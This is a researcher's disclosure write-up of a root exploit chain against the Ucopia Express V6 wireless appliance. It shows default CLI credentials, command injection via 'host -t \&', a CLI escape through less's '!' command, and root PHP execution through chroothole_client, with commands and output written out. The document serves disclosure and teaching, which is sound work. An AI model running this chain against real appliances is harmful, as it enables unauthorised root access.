Ucopia V6 : Multiple CVE used to root the host
Something I hate in my job is that sometimes I have a problem with an appliance, and no easy mean to diagnose it. It’s already bad enough when it’s because those are designed from scratch to be restricted (Looking at you, Cisco and your god-damned IOS), but it’s worst when they are running on a standard Linux/Unix host to which we don’t have access. All the commands I need are right there, I know it, I know what I need to use, where to find it, but I can’t because the editor does not want its users to access operating system underneath.
Even though they present this as a security feature, I always think it’s either a lazy take on security (they have not properly managed to secure the OS and don’t want us to pry into it) or a mean to force us to call for their support center when we have a problem (and of course, pay the associated fee).
I usually kinda let it slide when it’s SaaS or other kind of “rented appliance” which we do not purchase, but pay regularly for. But when it’s a physical (or virutal) device) we purchase first and install in our datacenter… Now that really bothers me. Why on earth should I trust that you, dear editor, is better suited to handle the security of the OS than me ? Why can’t I even look at how it’s configured ?
So, each time I have a problem with this kind of equipment, it ends the same way : As soon as I have a bit a spare time (shortened lunch breaks), I try to pry into the appliance.
Until now, I kept my findings to myself in order to keep my edge on the editors in this neverending race. But now I think it’s time to let it out, so
- It can benefit other sysadmins struck in the same issues I have
- Responsible disclosure allows for the editor to patch their device, lowering the risk to their customers
- I can us this as an example to show you the mindset of an attacker on a real target.
So buckle up, we’re going on a ride !
Our target today : Ucopia Express wireless appliance
In a few words, Ucopia Express is an easy to install and use wireless “guest” network manager. It can do more than that, but guest access is it’s basic intended purpose. So it can hand different networks, profiles and policies, display captive portals for local account authentication or connect to an external (radius or LDAP) service for authentication.
As you can guess, this is running on a Linux host but we’re not allowed in the OS and have to deal with either the web application or a CLI for configuration or debugging.
Our starting point here is logged in the CLI with the user admin
. This could
and should be considered a bit like cheating, as it is an authenticated write-capable
user, but it’s really not. Ucopia devices are all shipped with the same admin password,
which is common knowledge at this point (See CVE-2017-17743). And even if through the
Web-based installation & configuration process, you are asked to change the admin
password, for some unfathomable reason, it only changes the WebUI admin password
and not the CLI password, which tends to stay the default one for years.
So at this point, being logged in as admin
in CLI really should be treated as
unauthenticated access.
Target identification :
***** ***** ***** ***** ***** ***** *****
* Production name UV2000
* Hardware version VMWARE
* Serial number <Redacted>
* License Express 500
* Current build 18010105
* Current version 6.0.5
* Last upgrade update_6.0-b18010105
* Maintenance validity <Redacted>
***** ***** ***** ***** ***** ***** *****
As we can see right from the login banner, we’re in a controlled environment :
Type 'help' to display the CLI usage help.
Type '?' to display the available commands.
Type a command name followed by '?' to display specific help about this command.
> ?
accessLimitationAdmin List / Add / Remove limitations to access Web Administration Tools
activateLicense Install license. In case of virtual appliance, the activation key must be specified
addFTPAccount Add an FTP account
addSubnet Add incoming or outgoing subnet
addZone Add a zone
[...]
Historically, I knew a bit about the architecture of Ucopia’s CLI environment. So we’re in a CLI, which runs in a (restricted) shell, which is chrooted. That seems like a long shot to escape all of these layers of security, but let’s take it one step at a time.
Escaping CLI
First things first, we won’t be able to get very far if we’re unable to escape this restricted command line interface. Let’s take a look at the available commands :
accessLimitationAdmin List / Add / Remove limitations to access Web Administration Tools
activateLicense Install license. In case of virtual appliance, the activation key must be specified
addFTPAccount Add an FTP account
addSubnet Add incoming or outgoing subnet
addZone Add a zone
adminInterface Configure the network parameters of the admin interface
adminSessionTimeout close admin session after X minutes of inactivity
applyAllUpdates Apply all updates available in FTP directory
applyUpdate Apply one update
arp Show ARP cache
arping Send an ARP request to a neighbour host
bzip2 A block-sorting file compressor
deleteFTPAccount Delete an FTP account
deleteZone Delete a zone
delSubnet Delete a subnet
dhclient Get DHCP distributed IP address
dhcpLease Manage fixed DHCP leases
dnsRedirect enable/disable DNS redirection
dnsSetServers Configure the DNS servers
dnsSpoofing enable/disable DNS spoofing
enableAutoUpdate Enable/disable auto update process
enableLogLevel Change logs level
exit Exit this CLI session
filtering Open full access on all incoming networks or restore default behavior
freeradiusGenerateNewDHKey Generate a new Diffie-Hellman key with length specified for the local RADIUS service and restart it.
freeradiusStatusCheck Change the way FreeRADIUS check server status
halt Shut down the controller
hashedPassword enable/disable hashed password for local user accounts
help Display an overview of the CLI syntax
host Look up host names using domain server
installCertificate Install a HTTPS or Radius certificates from a supplied URL
installLicense Install license from a supplied link
interface Show network interfaces configurations
ipRouteGet get a single route
keyboard Change the keyboard layout
ldapSearch Opens a connection to an LDAP controller, binds to it, and performs a search using a filter
less Display output one screen at a time
listFTPAccount List available FTP accounts
listUpdates List available updates
listZones Show zone list
ls List files and directories
manageDhcpLeases Manage DHCP leases
modifyFTPAccount Modify an FTP account
modifyNativeIP Modify controller IP address and netmask of incoming or outgoing native VLAN
modifyZone Modify a zone
mysqlCheck Check mysql DB
mysqlDbSize mysql DB size
mysqlReadSessions Read sessions table
netstat Show network status
nslookup queries Internet domain name servers
passwd Modify administrator password
ping Ping the remote host
ps displays information about a selection of the active processes
radiusCipherList enable/disable SSLv3 support for RADIUS.
reboot Reboot the controller
restoreCertificate Restore certificates
restoreConfiguration Restore a remote configuration backup
rm Remove files or directories
scp Secure copy
service Configure the state of service
showDhcpLeases Show DHCP leases
showLogs View controller logs
showRoute Show network routes
ssh OpenSSH client
staticRoutes Manage static routes
summary Show the controller characteristics summary
supportAccess Give access to UCOPIA support
tcpdump Dump traffic on a network
telnet User interface to the TELNET protocol
traceroute Print the route packets take to network host
troubleshoot Execute diagnostic tests to find network errors
tunnel Mount or unmount a tunnel for support team access
userAgentFilter enable/disable a strict filtering on browser User Agent for the controller web server
webCipherSuite normal/low/high protocol support level on the web server.
wget The non-intractive network downloader
windowsDomainRegisteredMAC Manage Registered MAC address used for devices authentication
OK so most of these are handcrafted commands, maybe using some bash or python underneath with a very restriced set of parameters. It seems less likely to escape from these commands than from the handful of available shell commands which we could guess are the real unchecked commands.
That prove to be, however possible, quite a tedious process. There is CVE-2020-25037 related to that,
but not the one I exploited to actually root the device. Unroll if you want to read more about it.
There are some shell commands that look quite promising.
less
is known to allow for external command calls if not properly configuredwget
will be of a great help to fetch external resources if neededscp
can also be misconfigured to keep file permissions while copying them (and you don’t want the user to execute it’s scripts, trust me)tcpdump
might also be of use if we get it to execute files for us
Trying to bang out of less
Let’s begin with the easiest way out : calling an external command from less
, as can be done with vi
.
This is often overlooked and most often than not even allows to run python or perl directly from there.
In less
, this is done by typing an exclamation point while reading :
> less /etc/passwd
WARNING: terminal is not fully functional
root:x:0:0::/:/bin/sh
admin:x:1002:1000::/home/admin:/bin/rbash
/etc/passwd (END)
!
Command not available (press RETURN)
Damn it, they thought to disable that. As soon as I type the bang, I get this “Command not available”.
Trying to scp executable files
As we can see, we can only write in a ~/data
directory and we don’t have any flow redirection options available
to create our own files, so we will need to upload them. As we don’t have chmod
at hand, we can’t make them executable
Another neat way to further attacks on this type of device is by using scp
to upload a script or binary file.
We don’t have access to chmod
to set those executables, but fortunately
scp
keeps file permissions by default so we may be able to infiltrate our little friends ready to go.
[user@device ~]# touch test.sh
[user@device ~]# chmod +x test.sh
[user@device ~]# ls -las test.sh
0 -rwxr-xr-x 1 user user 0 Aug 3 12:38 test.sh
Our mock payload is ready, let’s transfer it
> scp user@1.1.1.1:~/test.sh data/
user@1.1.1.1's password:
test.sh 100% 0 0.0KB/s 00:00
> ls data
total 0
-rwxr-xr-x 1 admin admin 0 Aug 3 07:39 test.sh
That’s a big oof, after being forbidden to bang out of less I did not thought I could get away with uploading executables that easily.
Uploading executables and/or binaries in itself is quite bad, but might not be sufficient to be called a security vulnerability, as we currently have no way to execute them. But could we ?
CVE-2020-25037 : Arbitrary code execution using admin privileges
First, let’s add some commands in our test.sh file so we can know if it’s being executed :
#!/bin/sh
ls -las
cd /tmp
ls -las
cd /etc/
ls -las
cat /etc/passwd
echo 'pwn'
Nothing fancy here, some cd
to see if we’re able to change directories, some
ls
to confirm we moved, a cat
to see if we’re running a shell or still in CLI
somehow, and a bit of echo
for fun’s sake. We upload this in our ~/data
directory using scp
as shown above.
Let’s try to exploit local commands to execute our file.
> host test server ; ls -las
^
> host test server | ls -las
^
> host test server && ls -las
^
> host test $(ls)
^
server Domain name or IP address
> host test \`ls\`
^
server Domain name or IP address
As I reasonnably expected, any of the easy ways to execute commands by appending our stuff trying to pass them as parameters is not going to work. Good point for Ucopia there, this would have been a catastrophic overlook.
Let’s assume command arguments or parameters are somehow encapsulated in quotes, and try to escape from this by purring half-opened strings in our parameters :
> host test "server
host: couldn't get address for 'server': not found
> host test "&server
^
server Domain name or IP address
> host test "\&server
^
server Domain name or IP address
We’re getting a bit further, as the lone double-quote seems taken in the parameter.
Unfortunately, there seems to be another check on those parameters to ensure they
are indeed hostnames and server names. Maybe we can find another field/option which
would be less filtered. Looking at the help of host
we can see :
> host ?
host <hostname> [-t querytype] [-v verbose] [-r recursion_off] [-d debugging] [-l list] [-T tcp] [server]
Look up host names using domain server
hostname the host name
-t querytype specify a particular querytype of information to be looked up []
-v verbose use 'verbose' format for printout [n]
-r recursion_off turn off recursion in the request [n]
-d debugging turn on debugging [n]
-l list list a complete domain [n]
-T tcp enables TCP/IP mode [n]
server specify a particular server to query []
We don’t have a lot of room to wiggle here : most of the options are y/n switches, most likely
heavily enforced, except for -t querytype
. We might have to look for another command, but let’s
try to pass exotic parameters to querytype
:
> host -t ;ls host server
^
querytype Non-empty string ( ';' or '|' are not allowed )
> host -t &&ls host server
host: invalid type: &&ls
> host -t &ls host server
host: invalid type: &ls
> host -t $(ls) host server
host: invalid type: $(ls)
> host -t \$(ls) host server
host: invalid type: \$(ls)
> host -t \&ls host server
host: invalid type: \
ls: cannot access host: No such file or directory
ls: cannot access server: No such file or directory
Now we’re talking ! It seems like \&
did the trick and lets us execute ls host server
after the
host
call. So we are able to call a command with up to 2 parameters.
We found a little crack in the security, now let’s put a prybar in it and force it open with our test script :
> host -t \&data/test.sh host server
host: invalid type: \
total 16
4 drwxr-xr-x 4 root admin 4096 Jul 24 02:54 .
4 drwxr-xr-x 3 root root 4096 Jul 24 02:54 ..
4 drwxr-xr-x 2 admin admin 4096 Sep 1 07:39 data
4 drwxr-xr-x 2 root admin 4096 Jul 24 02:54 .ssh
total 12
4 drwxrwxrwt 2 root root 4096 Aug 10 12:20 .
4 drwxr-xr-x 11 root root 4096 Jul 24 02:54 ..
0 srwxrwxrwx 1 root root 0 Jul 24 02:55 chroothole
4 -rw-r--r-- 1 admin admin 5 Aug 3 12:52 tcpdump.bpf
total 88
4 drwxr-xr-x 4 root root 4096 Jul 24 02:54 .
4 drwxr-xr-x 11 root root 4096 Jul 24 02:54 ..
12 drwxr-xr-x 2 root root 12288 Jul 24 02:55 clish
4 -rw-r--r-- 1 root root 24 Jul 24 02:54 group
4 -rw-r--r-- 1 root root 9 Jul 24 02:54 host.conf
4 -rw-r--r-- 1 root root 1006 Jul 24 02:54 hosts
4 -rw-r--r-- 1 root root 1747 Jul 24 02:54 inputrc
4 -rw-r--r-- 1 root root 2945 Jul 24 02:54 localtime
4 -rw-r--r-- 1 root root 381 Aug 3 05:12 motd
4 -rw-r--r-- 1 root root 513 Jul 24 02:54 nsswitch.conf
4 drwxr-xr-x 2 root root 4096 Jul 24 02:54 pam.d
4 -rw-r--r-- 1 root root 64 Jul 24 02:54 passwd
4 -rw-r--r-- 1 root root 827 Jul 24 02:54 profile
4 -rw-r--r-- 1 root root 2932 Jul 24 02:54 protocols
4 -rw-r--r-- 1 root root 21 Jul 24 02:54 resolv.conf
20 -rw-r--r-- 1 root root 19605 Jul 24 02:54 services
root:x:0:0::/:/bin/sh
admin:x:1002:1000::/home/admin:/bin/rbash
pwn
Bingo ! Here is our little friend CVE-2020-25037, we can execute any binary we upload on the appliance.
However, I’m not going to use this to further my exploitation as the process is tedious. In order to execute anything, I’m likely going to have to :
- Upload executable binaries to the device
- Upload associated libraries (I don’t think the chroot conveniently contains all libraries I may need)
- Create a script to alter environmental variables and call the binaries
- Upload this script to the device
- Execute it
As searching for vulnerabilities needs quite a lot of trial and error, and having to go through all of these steps each time is going to take me more time than I intended to give it, I prefer to try to escape the CLI and get into an interactive shell for.
However, for exploitation purposes in the wild, this is likely to be the preferred vulnerability. We could upload any payload to try some classic buffer overflows and whatnots, so I’d say this is the most dangerous vulnerability in today’s show.
Let’s get back a bit an try to escape CLI.
So, shell commands were an interesting lead but too time consuming for me.
Out of all the handcrafted commands, two in particular got my attention : showDhcpLeases
and
showLogs
. Because logs are often very verbose, displaying them in a terminal almost always
requires some form of flow control, usually using less
or more
as handlers. And every time
we use less
or more
, there is a chance that command processing was not disabled. Let’s take
a deeper look on these commands :
> showLogs
showLogs [type] [-n number] [-d day]
View controller logs
type Word to search (such as radius, dhcp, etc.) or a pattern with alphabet, numeric, space and characters in following single quotes: '.*+|()[]{},:;\' (use '\\\\|' to escape a pipe) []
-n number Search in the last 'number' line log events [1000]
-d day Search in the specified day's log events (0 = today, 1 = yesterday, interval of days = x-y; A day starts at 6:25AM) [0]
No flow control available here… So we’re just displaying a shitload of log lines rigth to the
admin’s face ?
Damn, I hope I never need to use this ! Let’s see if showDhcpLeases
is better :
> showDhcpLeases
showDhcpLeases [pipe_action] [grep_pattern]
Show DHCP leases
pipe_action A piped action (less|grep) []
grep_pattern A grep pattern (do not support ';' character) []
Now we might be going somewhere ! We can pipe the output to either less
or grep
. grep
at least seems controlled for semi-colons, which is bad for us, but let’s take a look at less
first :
> showDhcpLeases less
DHCP Leases
WARNING: terminal is not fully functional
- (press RETURN)
That’s an odd warning, but I don’t care much. We now have our standard less
screen displaying
some dhcp leases, as expected.
[...]
lease <Redacted> {
starts 4 2020/07/23 15:32:24;
ends 4 2020/07/23 16:30:21;
tstp 4 2020/07/23 16:30:21;
cltt 4 2020/07/23 15:32:25;
:
Let’s try to use a command with less
’s bang :
!ls
data
!done (press RETURN)
!whoami
/bin/rbash: whoami: command not found
Nice ! Commands are not disabled in this implementation of less (as they were in the native shell version, see above). So we probably can try …
CVE 2020-25036 : Escaping from CLI environment through unprotected less command
!rbash
rbash-4.3$
There we are, one step closer to our goal : we now have access to rbash
.
Now there are lots we can do with
rbash
, or a least lots more than what we could in CLI,
but… not quite enough, or at least not easily enough.
rbash
is a Restricted shell. that means it’s intended to forbid user from using most of
the commands he could use to do anything malicious, as we can see :
rbash-4.3$ cd data
rbash: cd: restricted
rbash-4.3$ ls data/
test.sh
rbash-4.3$ ./data/test.sh
rbash: ./data/test.sh: restricted: cannot specify `/' in command names
No directory change allowed, no cross-directory calls either… This was expected, and that’s why we need to use another interpreter if possible
Fortunately, looking at /etc/passwd/
file shows us that /bin/sh
is available too :
rbash-4.3$ cat /etc/passwd
root:x:0:0::/:/bin/sh
admin:x:1002:1000::/home/admin:/bin/rbash
rbash-4.3$ ls -las /bin
total 1212
4 drwxr-xr-x 2 root root 4096 Jul 24 02:54 .
4 drwxr-xr-x 11 root root 4096 Jul 24 02:54 ..
1080 -rwxr-xr-x 1 root root 1105840 Mar 25 2019 rbash
124 -rwxr-xr-x 1 root root 124492 Nov 8 2014 sh
rbash-4.3$ sh
$
Being “locked” in a rbash
but with a sh
interpreter at hand and no way to
forbid us to use it is odd. I guess they forgot to remove it, or they use the
root
account sometimes for maintenance and need more than rbash
?
Anyway, just switch to sh
and we will have a bit more flexibility (changing directories, calling execs from other directories, etc)
Now is time for a little bit of recon : we escaped a CLI, but where are we exactly ?
Judging by the /etc/passwd
file and /etc/
directory, it is fair to assume we’re
in a chroot. We can verify this assumption by looking at /proc/1/mountinfo
:
$ ls -las /etc/
total 88
4 drwxr-xr-x 4 root root 4096 Jul 24 02:54 .
4 drwxr-xr-x 11 root root 4096 Jul 24 02:54 ..
12 drwxr-xr-x 2 root root 12288 Jul 24 02:55 clish
4 -rw-r--r-- 1 root root 24 Jul 24 02:54 group
4 -rw-r--r-- 1 root root 9 Jul 24 02:54 host.conf
4 -rw-r--r-- 1 root root 1006 Jul 24 02:54 hosts
4 -rw-r--r-- 1 root root 1747 Jul 24 02:54 inputrc
4 -rw-r--r-- 1 root root 2945 Jul 24 02:54 localtime
4 -rw-r--r-- 1 root root 381 Aug 31 05:12 motd
4 -rw-r--r-- 1 root root 513 Jul 24 02:54 nsswitch.conf
4 drwxr-xr-x 2 root root 4096 Jul 24 02:54 pam.d
4 -rw-r--r-- 1 root root 64 Jul 24 02:54 passwd
4 -rw-r--r-- 1 root root 827 Jul 24 02:54 profile
4 -rw-r--r-- 1 root root 2932 Jul 24 02:54 protocols
4 -rw-r--r-- 1 root root 21 Jul 24 02:54 resolv.conf
20 -rw-r--r-- 1 root root 19605 Jul 24 02:54 services
$ cat /proc/1/mountinfo
14 19 0:14 / /sys rw,nosuid,nodev,noexec,relatime - sysfs sysfs rw
15 19 0:3 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
16 19 0:5 / /dev rw,relatime - devtmpfs udev rw,size=10240k,nr_inodes=255165,mode=755
17 16 0:11 / /dev/pts rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=000
18 19 0:15 / /run rw,nosuid,noexec,relatime - tmpfs tmpfs rw,size=205828k,mode=755
19 0 8:2 / / rw,relatime - ext4 /dev/sda2 rw,errors=remount-ro,data=ordered
20 18 0:16 / /run/lock rw,nosuid,nodev,noexec,relatime - tmpfs tmpfs rw,size=5120k
21 14 0:17 / /sys/fs/pstore rw,relatime - pstore pstore rw
23 18 0:19 / /run/shm rw,nosuid,nodev,noexec,relatime - tmpfs tmpfs rw,size=826160k
24 14 0:20 / /sys/fs/fuse/connections rw,relatime - fusectl fusectl rw
25 19 8:5 / /var rw,relatime - ext4 /dev/sda5 rw,data=ordered
28 14 0:21 / /sys/fs/cgroup rw,relatime - tmpfs cgroup rw,size=12k
29 18 0:22 / /run/cgmanager/fs rw,relatime - tmpfs cgmfs rw,size=100k,mode=755
31 28 0:32 / /sys/fs/cgroup/systemd rw,nosuid,nodev,noexec,relatime - cgroup systemd rw,release_agent=/usr/lib/i386-linux-gnu/systemd-shim-cgroup-release-agent,name=systemd
32 18 0:33 / /run/user/1002 rw,nosuid,nodev,relatime - tmpfs tmpfs rw,size=205828k,mode=700,uid=1002,gid=1000
26 25 0:3 / /var/chroot/proc rw,relatime - proc none rw
27 25 8:2 /usr/share/ucopia/clish /var/chroot/etc/clish rw,relatime - ext4 /dev/sda2 rw,errors=remount-ro,data=ordered
According to this last line, we’re chrooted somewhere under /var/chroot/
on the host OS.
That’s nice to know, and even though this is not going to help us for now,
we’re going to need this intel for later.
Usually, the best ways to escape a chroot are :
- Exploiting kernel bugs
- Exploiting root-owned binaries/libraries with SUID set
- Remounting chroot on a link to host’s root
Unfortunately, I was not able to perform any of above. Root-owned binaries and
libraries seem copied instead of hard-linked from host OS so I’m not going
anywhere meaningful with this approach for now. There may be something more to
find this way, but instead of pursuing into this lead, I used my prior
knowledge of Ucopia’s infrastructure and existing CVE to focus my attention on
what will most likely be my way out : the /usr/bin/chroothole_client
executable.
What is chroothole_client ?
When you design a chrooted system, most of the point is keepign the user to its pants. This is the case when you want to allow a user to drop files on your server but nothing more, or when you want to allow a friend to bounce on your machine for SSH tunelling but are too paranoid to let him have a full user account : you restrict all you can and let the bare minimum for basic intended functionality.
When you’re designing a chrooted environment for advanced users to manage part of the system, like in the case at hand, your user needs a lot of privileges. Using CLI, we can setup interfaces, routes, DNS ; we can use traceroute and tcpdump for debugging purposes, and much more. Though for some commands, the easiest way is to simply copy the binary into the chrooted environment, for some other (mostly those needing write permissions on the system), you need to properly parse the user input before passing it to the backend binary to ensure he’s not trying to, say, root the system for example. But we all know that never happens ;)
So for Ucopia, this led to the development of chroothole_client
: An executable which,
quite predictably according to its name, allows the client to run some commands through
a hole in the chroot. Now, this hole has to be the thinnest possible and heavily monitored
so not to let the user pass anything through it.
How to exploit chroothole_client
I guess we could scp
the chroothole_client
out of the machine, decompile it and look for
clues on how to bypass it, but let’s try to use it the intended way. That is, when the user
in CLI calls for example for a network interface change, there has to be something sent
through the hole to the host OS for actual modification, and if the parameters are only checked
at CLI-level, we can then forge our own unrestricted calls to chroothole_client
.
Let’s take a look at how are CLI command defined and how they interact with chroothole_client
.
All the commands used in ucopia clish
binary use xml definitions located under the chrooted
/etc/clish/
directory.
$ ls -las /etc/clish/
total 276
12 drwxr-xr-x 2 root root 12288 Jul 24 02:55 .
4 drwxr-xr-x 4 root root 4096 Jul 24 02:54 ..
4 -rw-r--r-- 1 root root 3143 Jul 22 18:45 accessLimitationAdmin.xml
4 -rw-r--r-- 1 root root 2499 Jul 22 18:45 activateLicense.xml
4 -rw-r--r-- 1 root root 3588 Jul 22 18:45 addSubnet.xml
8 -rw-r--r-- 1 root root 5423 Jul 22 18:45 admin_iface.xml
4 -rw-r--r-- 1 root root 1028 Jul 22 18:45 arping.xml
4 -rw-r--r-- 1 root root 651 Jul 22 18:45 arp.xml
4 -rw-r--r-- 1 root root 843 Jul 22 18:45 bzip2.xml
4 -rw-r--r-- 1 root root 1078 Jul 22 18:45 delSubnet.xml
4 -rw-r--r-- 1 root root 625 Jul 22 18:45 dhclient.xml
4 -rw-r--r-- 1 root root 912 Jul 22 18:45 dhcp_lease.xml
4 -rw-r--r-- 1 root root 1227 Jul 22 18:45 dnsredirect.xml
4 -rw-r--r-- 1 root root 745 Jul 22 18:45 dnsSetServers.xml
4 -rw-r--r-- 1 root root 2027 Jul 22 18:45 dnsspoofing.xml
4 -rw-r--r-- 1 root root 1785 Jul 22 18:45 filtering.xml
4 -rw-r--r-- 1 root root 688 Jul 22 18:45 freeradius_generate_new_dh_key.xml
4 -rw-r--r-- 1 root root 1204 Jul 22 18:45 freeradius_status_check.xml
4 -rw-r--r-- 1 root root 1569 Jul 22 18:45 global-commands.xml
4 -rw-r--r-- 1 root root 1151 Jul 22 18:45 halt.xml
4 -rw-r--r-- 1 root root 1823 Jul 22 18:45 host.xml
4 -rw-r--r-- 1 root root 562 Jul 22 18:45 interface.xml
4 -rw-r--r-- 1 root root 549 Jul 22 18:45 keyboard.xml
4 -rw-r--r-- 1 root root 1007 Jul 22 18:45 ldap.xml
4 -rw-r--r-- 1 root root 523 Jul 22 18:45 less.xml
4 -rw-r--r-- 1 root root 520 Jul 22 18:45 ls.xml
4 -rw-r--r-- 1 root root 1791 Jul 22 18:45 manageCertificates.xml
4 -rw-r--r-- 1 root root 1641 Jul 22 18:45 managedhcpleases.xml
4 -rw-r--r-- 1 root root 3076 Jul 22 18:45 manageFTPAccount.xml
4 -rw-r--r-- 1 root root 648 Jul 22 18:45 manageLicense.xml
4 -rw-r--r-- 1 root root 1741 Jul 22 18:45 manageUpdates.xml
4 -rw-r--r-- 1 root root 3102 Jul 22 18:45 manageZones.xml
4 -rw-r--r-- 1 root root 989 Jul 22 18:45 modifyNativeIP.xml
4 -rw-r--r-- 1 root root 903 Jul 22 18:45 mysqlSummary.xml
4 -rw-r--r-- 1 root root 2413 Jul 22 18:45 netstat.xml
4 -rw-r--r-- 1 root root 717 Jul 22 18:45 nslookup.xml
4 -rw-r--r-- 1 root root 1010 Jul 22 18:45 passwd.xml
4 -rw-r--r-- 1 root root 1380 Jul 22 18:45 ping.xml
4 -rw-r--r-- 1 root root 666 Jul 22 18:45 ps_aux.xml
4 -rw-r--r-- 1 root root 792 Jul 22 18:45 reboot.xml
4 -rw-r--r-- 1 root root 3251 Jul 22 18:45 restoreConfiguration.xml
4 -rw-r--r-- 1 root root 879 Jul 22 18:45 rm.xml
4 -rw-r--r-- 1 root root 817 Jul 22 18:45 root-view.xml
4 -rw-r--r-- 1 root root 893 Jul 22 18:45 scp.xml
8 -rw-r--r-- 1 root root 5860 Jul 22 18:45 security.xml
4 -rw-r--r-- 1 root root 1449 Jul 22 18:45 service.xml
4 -rw-r--r-- 1 root root 1009 Jul 22 18:45 showdhcpleases.xml
4 -rw-r--r-- 1 root root 1172 Jul 22 18:45 showRoute.xml
4 -rw-r--r-- 1 root root 904 Jul 22 18:45 ssh.xml
4 -rw-r--r-- 1 root root 2552 Jul 22 18:45 startup.xml
4 -rw-r--r-- 1 root root 3348 Jul 22 18:45 static_routes.xml
4 -rw-r--r-- 1 root root 477 Jul 22 18:45 summary.xml
4 -rw-r--r-- 1 root root 713 Jul 22 18:45 support_access.xml
4 -rw-r--r-- 1 root root 3669 Jul 22 18:45 syslog.xml
4 -rw-r--r-- 1 root root 3316 Jul 22 18:45 tcpdump.xml
4 -rw-r--r-- 1 root root 639 Jul 22 18:45 telnet.xml
4 -rw-r--r-- 1 root root 2439 Jul 22 18:45 traceroute.xml
4 -rw-r--r-- 1 root root 494 Jul 22 18:45 troubleshoot.xml
4 -rw-r--r-- 1 root root 3093 Jul 22 18:45 tunnel.xml
12 -rw-r--r-- 1 root root 12209 Jul 22 18:45 types.xml
4 -rw-r--r-- 1 root root 1546 Jul 22 18:45 userAgentFilter.xml
4 -rw-r--r-- 1 root root 2404 Jul 22 18:45 wget.xml
4 -rw-r--r-- 1 root root 1485 Jul 22 18:45 windowsDomainRegisteredMAC.xml
Now we understand why less
or wget
commands were protected : these were not, as
supposed, the host shell commands but encapsulated calls with parameter filtering.
Let’s take a look to the definition of a clish command that needs to write on the
host OS, and hence pass through the chroot hole. Take for example dnsSetServers
.
$ cat /etc/clish/dnsSetServers.xml
<?xml version="1.0" encoding="UTF-8"?>
<CLISH_MODULE xmlns="http://clish.sourceforge.net/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://clish.sourceforge.net/XMLSchema
http://clish.sourceforge.net/XMLSchema/clish.xsd">
<COMMAND name="dnsSetServers" help="Configure the DNS servers">
<PARAM name="dnsserver1"
help="The primary DNS server"
prefix="--dns1"
ptype="IP_ADDR"/>
<PARAM name="dnsserver2"
help="The secondary DNS server"
prefix="--dns2"
ptype="IP_ADDR_NULLABLE"/>
<ACTION>
chroothole_client "/usr/bin/php /var/www/html/admin/conf/dnsserver.php --dns1='${dnsserver1}' --dns2='${dnsserver2}'"
</ACTION>
</COMMAND>
</CLISH_MODULE>
Now look at this beauty. We’re learning here that the chroothole is actually calling for a php script to do its dirty job. This may not makes sense to you if you don’t know what Ucopia wireless controllers are, but to make it quick, it’s main intended configuration interface is a web application, obviously a php one. I guess they added the CLI much later in the development of the product, which explains the apparent lack of maturity of its security layer and the fact that most commands from the CLI will rely on the php scripts that are actually doing the configuration.
What we learn from this, too, is that we are calling for binaries outside the chroot (duh !), so maybe we could use this to call for other binaries.
Wrong path again…
It seems like chroothole_client
is filtering the commands we pass to it. I guess I
could bruteforce all the commands to find out which one are allowed and maybe find something usefull to
break of of the chroot,
$ /usr/bin/chroothole_client "/usr/bin/whoami"
$ /usr/bin/chroothole_client "/bin/id"
$ /usr/bin/chroothole_client "/bin/echo 1"
$ /usr/bin/chroothole_client "which bash"
$ /usr/bin/chroothole_client "/usr/bin/which bash"
No output probably means the chroothole silently fails
What did I miss ? Something should have stabbed me right in the eye, obvious as it is, but it took me some time to actually understand what I was looking at.
chroothole_client
is calling forphp
to do system configuration.- So
php
can write on the filesystem, and even configuration files. - So
php
most likely runs asroot
. - And it seems like I can pass any file as a parameter to the chrootholed
php
call, even ones I make and upload in my~/data/
directory.
Could it be that …
CVE 2020-25035 Abritrary code execurtion using root privileges by exploiting chroothole_client’s call to root-running php
Let’s try this out. We could upload a complex PHP script to run, like an admin panel, a backdoor or quite anything, but let’s keep it simple and use what we learnt.
Create a php script using sh
’s echo and flow redirection :
$ echo '<?php system("whoami"); ?>' > data/test.php
$ cat data/test.php
<?php system("whoami"); ?>
A simple system call to whoami
, if it works as intended, will tell us if we’re indeed running php
as root, if php is capable of making system calls, and if it has the correct environmental
variables to ease our way of exploiting it.
As we have seen earlier (attempted exploit of chrooted rbash), we can only write in our ~/data/
directory.
Right, that’s no big deal, as long as we can write somewhere easily. But where, from the host system point of
view, is located this directory ? We need this answer as our call to php needs the absolute path to the script.
We already know that our chroot is running somewhere under /var/chroot/
. Looking at past CVE, namely
CVE-2017-11322 we learn that another binary is available :
/usr/bin/status
What is nice with status
is that it tries to stat the first parameter, so we can use it to try to
pinpoint our data
directory location by using wildcards for completion. We’ll start looking under
/var/chroot/
and see if we recognize the directory structure there :
$ chroothole_client '/usr/sbin/status /var/chroot/*'
/var/chroot/bin is not running ... failed!
$ chroothole_client '/usr/sbin/status /var/chroot/h*'
/var/chroot/home is not running ... failed!
$ chroothole_client '/usr/sbin/status /var/chroot/home/a*'
/var/chroot/home/admin is not running ... failed!
$ chroothole_client '/usr/sbin/status /var/chroot/home/admin/da*'
/var/chroot/home/admin/data is not running ... failed!
$ chroothole_client '/usr/sbin/status /var/chroot/home/admin/data/test*'
/var/chroot/home/admin/data/test.php is not running ... failed!
Here we go, our scripts are located under /var/chroot/home/admin/data/
.
Now let’s call out previously created test.php file through the chrootholed php :
$ /usr/bin/chroothole_client '/usr/bin/php /var/chroot/home/admin/data/test.php'
root
What did we learn
So, there are numerous things we learnt here :
- Designing a chrooted environment with system-write access is, at best, a high ante bet
- Designing it off-hand to use existing web-based compenents is worst
- Running php as root is still a bad idea
- Though multiples layers of security might seem better, it may also lead to multiple ways to defeat it all
- Never Trust User Input
- Forcing the user to set a strong admin password si great, having your system actually change it is better.
Timeline
- August 15th 2020 : Discovery of these exploits
- August 24th 2020 : Initial contact with vendor
- August 31rd 2020 : CVE number registration
- September 28th 2020 : Received vendor’s GPG public key for secure communication
- October 10th 2020 : Exploits accepted by vendor
- Januray 21rd 2021 : Rollout of corrected version from vendor